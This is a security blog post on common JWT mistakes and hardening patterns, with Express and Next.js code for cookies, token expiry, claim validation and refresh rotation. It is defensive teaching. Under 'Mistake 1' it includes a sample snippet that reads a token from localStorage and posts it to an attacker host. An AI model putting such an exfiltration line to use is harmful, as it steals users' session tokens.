JWT Authentication in 2026: What Most Tutorials Get Wrong
Common JWT mistakes that compromise security, and the correct patterns for token storage, rotation, and validation. Includes Express and Next.js code examples.
Transactional Team
Feb 3, 2026
>>
11 min read
Share
A review of top-ranking JWT tutorials reveals a troubling pattern. The majority store tokens in localStorage. Many do not validate the issuer claim. Several use tokens that never expire.
These are not edge cases. These are the tutorials developers actually follow when implementing auth. And every one of those patterns is a security vulnerability.
Here is what most JWT tutorials get wrong, and how to do it correctly.
What You Will Learn
The most common JWT security mistakes
Correct token storage with httpOnly cookies
Short-lived access tokens with refresh token rotation
Proper claim validation
PASETO as a simpler alternative
Working code for Express and Next.js
JWT Vulnerability Frequency in Top Tutorials
localStorage Storage
79
No Issuer Validation
57
No Token Expiry
36
No Refresh Rotation
71
No Algorithm Pinning
43
Mistake 1: Storing Tokens in localStorage
This is the most widespread mistake. Almost every beginner tutorial does this:
// WRONG - localStorage is accessible to any JavaScript on the pagelocalStorage.setItem('token', response.data.token);// Any XSS vulnerability can steal the tokenconst stolen = localStorage.getItem('token');await fetch('https://attacker.com/collect', { method: 'POST', body: stolen,});
If your site has a single XSS vulnerability -- one unsanitized user input, one compromised third-party script -- an attacker can read every token from localStorage and hijack every active session.
The Correct Approach: httpOnly Cookies
// Express - Set token as httpOnly cookieimport { Response } from 'express';function setAuthCookies(res: Response, accessToken: string, refreshToken: string) { res.cookie('access_token', accessToken, { httpOnly: true, // JavaScript cannot read this secure: true, // HTTPS only sameSite: 'lax', // CSRF protection maxAge: 15 * 60 * 1000, // 15 minutes path: '/', }); res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: true, sameSite: 'lax', maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days path: '/api/auth/refresh', // only sent to refresh endpoint });}
httpOnly cookies cannot be read by JavaScript. Even if an attacker finds an XSS vulnerability, they cannot extract the token. The cookie is automatically sent with requests and automatically managed by the browser.
If a token with no expiry is leaked, the attacker has permanent access. There is no way to revoke it without changing the signing key, which invalidates every token for every user.
The Correct Approach: Short Access + Long Refresh
import jwt from 'jsonwebtoken';import { randomBytes } from 'crypto';interface TokenPair { accessToken: string; refreshToken: string;}function generateTokenPair(userId: string, sessionId: string): TokenPair { // Access token: short-lived, contains user claims const accessToken = jwt.sign( { sub: userId, sid: sessionId, type: 'access', }, process.env.JWT_ACCESS_SECRET!, { expiresIn: '15m', issuer: 'https://api.yourdomain.com', audience: 'https://app.yourdomain.com', } ); // Refresh token: longer-lived, used only to get new access tokens const refreshToken = jwt.sign( { sub: userId, sid: sessionId, type: 'refresh', jti: randomBytes(16).toString('hex'), // unique ID for revocation }, process.env.JWT_REFRESH_SECRET!, { expiresIn: '7d', issuer: 'https://api.yourdomain.com', } ); return { accessToken, refreshToken };}
Access tokens expire in 15 minutes. If one is leaked, the window of exposure is small. Refresh tokens last 7 days and are used only to get new access tokens. They are stored in a more restrictive cookie that is only sent to the refresh endpoint.
A valid signature does not mean the token is appropriate for your use case. You need to verify the issuer, audience, and token type.
The Correct Approach: Full Claim Validation
function verifyAccessToken(token: string) { try { const decoded = jwt.verify(token, process.env.JWT_ACCESS_SECRET!, { issuer: 'https://api.yourdomain.com', audience: 'https://app.yourdomain.com', algorithms: ['HS256'], // explicitly specify allowed algorithms }); // Verify it is an access token, not a refresh token if (decoded.type !== 'access') { throw new Error('Invalid token type'); } return decoded; } catch (error) { if (error instanceof jwt.TokenExpiredError) { throw new AuthError('TOKEN_EXPIRED', 'Access token expired'); } if (error instanceof jwt.JsonWebTokenError) { throw new AuthError('INVALID_TOKEN', 'Invalid access token'); } throw error; }}
The algorithms option is critical. Without it, an attacker can change the algorithm header to none and bypass signature verification entirely. This is a real vulnerability that has been exploited in the wild.
Mistake 4: No Token Rotation
If a refresh token is compromised, the attacker can generate access tokens indefinitely until the refresh token expires. Token rotation detects this.
The Correct Approach: Rotate on Every Refresh
// Token refresh endpoint with rotationasync function handleRefresh(req: Request, res: Response) { const refreshToken = req.cookies.refresh_token; if (!refreshToken) { return res.status(401).json({ error: 'No refresh token' }); } try { const decoded = jwt.verify( refreshToken, process.env.JWT_REFRESH_SECRET!, { issuer: 'https://api.yourdomain.com', algorithms: ['HS256'], } ); if (decoded.type !== 'refresh') { return res.status(401).json({ error: 'Invalid token type' }); } // Check if this refresh token has been used before const tokenRecord = await db.query.refreshTokens.findFirst({ where: eq(refreshTokens.jti, decoded.jti), }); if (!tokenRecord) { // Token not found - might be revoked return res.status(401).json({ error: 'Token revoked' }); } if (tokenRecord.used) { // THEFT DETECTED: This token was already used. // Revoke the entire session. await db .update(refreshTokens) .set({ revoked: true }) .where(eq(refreshTokens.sessionId, decoded.sid)); clearAuthCookies(res); return res.status(401).json({ error: 'Token reuse detected. Session revoked.', }); } // Mark current token as used await db .update(refreshTokens) .set({ used: true }) .where(eq(refreshTokens.jti, decoded.jti)); // Generate new token pair const newTokens = generateTokenPair(decoded.sub, decoded.sid); // Store new refresh token const newDecoded = jwt.decode(newTokens.refreshToken) as any; await db.insert(refreshTokens).values({ jti: newDecoded.jti, sessionId: decoded.sid, userId: decoded.sub, expiresAt: new Date(newDecoded.exp * 1000), }); setAuthCookies(res, newTokens.accessToken, newTokens.refreshToken); return res.json({ ok: true }); } catch { clearAuthCookies(res); return res.status(401).json({ error: 'Invalid refresh token' }); }}
The key insight: every refresh token is single-use. When a refresh token is used, it is marked as consumed, and a new one is issued. If someone tries to reuse a consumed token, it means either the legitimate user or an attacker is using a stolen token. The safest response is to revoke the entire session.
Middleware for Next.js
Here is a complete middleware implementation for Next.js App Router:
// middleware.tsimport { NextRequest, NextResponse } from 'next/server';import { jwtVerify } from 'jose';const ACCESS_SECRET = new TextEncoder().encode( process.env.JWT_ACCESS_SECRET!);const PUBLIC_PATHS = ['/login', '/register', '/forgot-password', '/api/auth'];export async function middleware(request: NextRequest) { const { pathname } = request.nextUrl; // Skip auth for public paths if (PUBLIC_PATHS.some((p) => pathname.startsWith(p))) { return NextResponse.next(); } const accessToken = request.cookies.get('access_token')?.value; if (!accessToken) { return redirectToLogin(request); } try { const { payload } = await jwtVerify(accessToken, ACCESS_SECRET, { issuer: 'https://api.yourdomain.com', audience: 'https://app.yourdomain.com', algorithms: ['HS256'], }); // Add user info to headers for downstream use const response = NextResponse.next(); response.headers.set('x-user-id', payload.sub as string); response.headers.set('x-session-id', payload.sid as string); return response; } catch { // Token expired or invalid - try refresh return redirectToLogin(request); }}function redirectToLogin(request: NextRequest) { const url = request.nextUrl.clone(); url.pathname = '/login'; url.searchParams.set('redirect', request.nextUrl.pathname); return NextResponse.redirect(url);}export const config = { matcher: ['/dashboard/:path*', '/api/v1/:path*'],};
Note: Next.js middleware uses the Web Crypto API (jose library) instead of Node.js jsonwebtoken because middleware runs on the Edge runtime.
Consider PASETO Instead
PASETO (Platform-Agnostic Security Tokens) is a simpler alternative to JWT that eliminates several classes of vulnerabilities by design:
PASETO does not allow alg: none, does not support symmetric/asymmetric confusion, and uses versioned protocols so you cannot accidentally use a weak algorithm. If you are starting a new project and do not need JWT specifically for interoperability, PASETO is worth considering.
Summary Checklist
Tokens stored in httpOnly, secure, sameSite cookies (never localStorage)
Access tokens expire in 15 minutes or less
Refresh tokens are single-use with rotation
Token reuse triggers session revocation
Issuer, audience, and algorithm are validated on every verification
Refresh token cookie path is restricted to the refresh endpoint
CSRF protection via sameSite cookie attribute
The Takeaway
JWT is not inherently insecure. The problem is that most tutorials teach it incorrectly, and the defaults are permissive. Short-lived access tokens, httpOnly cookies, refresh token rotation, and proper claim validation are not optional security hardening. They are the baseline.
If you want authentication without managing token infrastructure yourself, Transactional's Auth module handles token lifecycle, rotation, and session management out of the box. But if you are implementing JWT yourself, the patterns above will keep you out of trouble.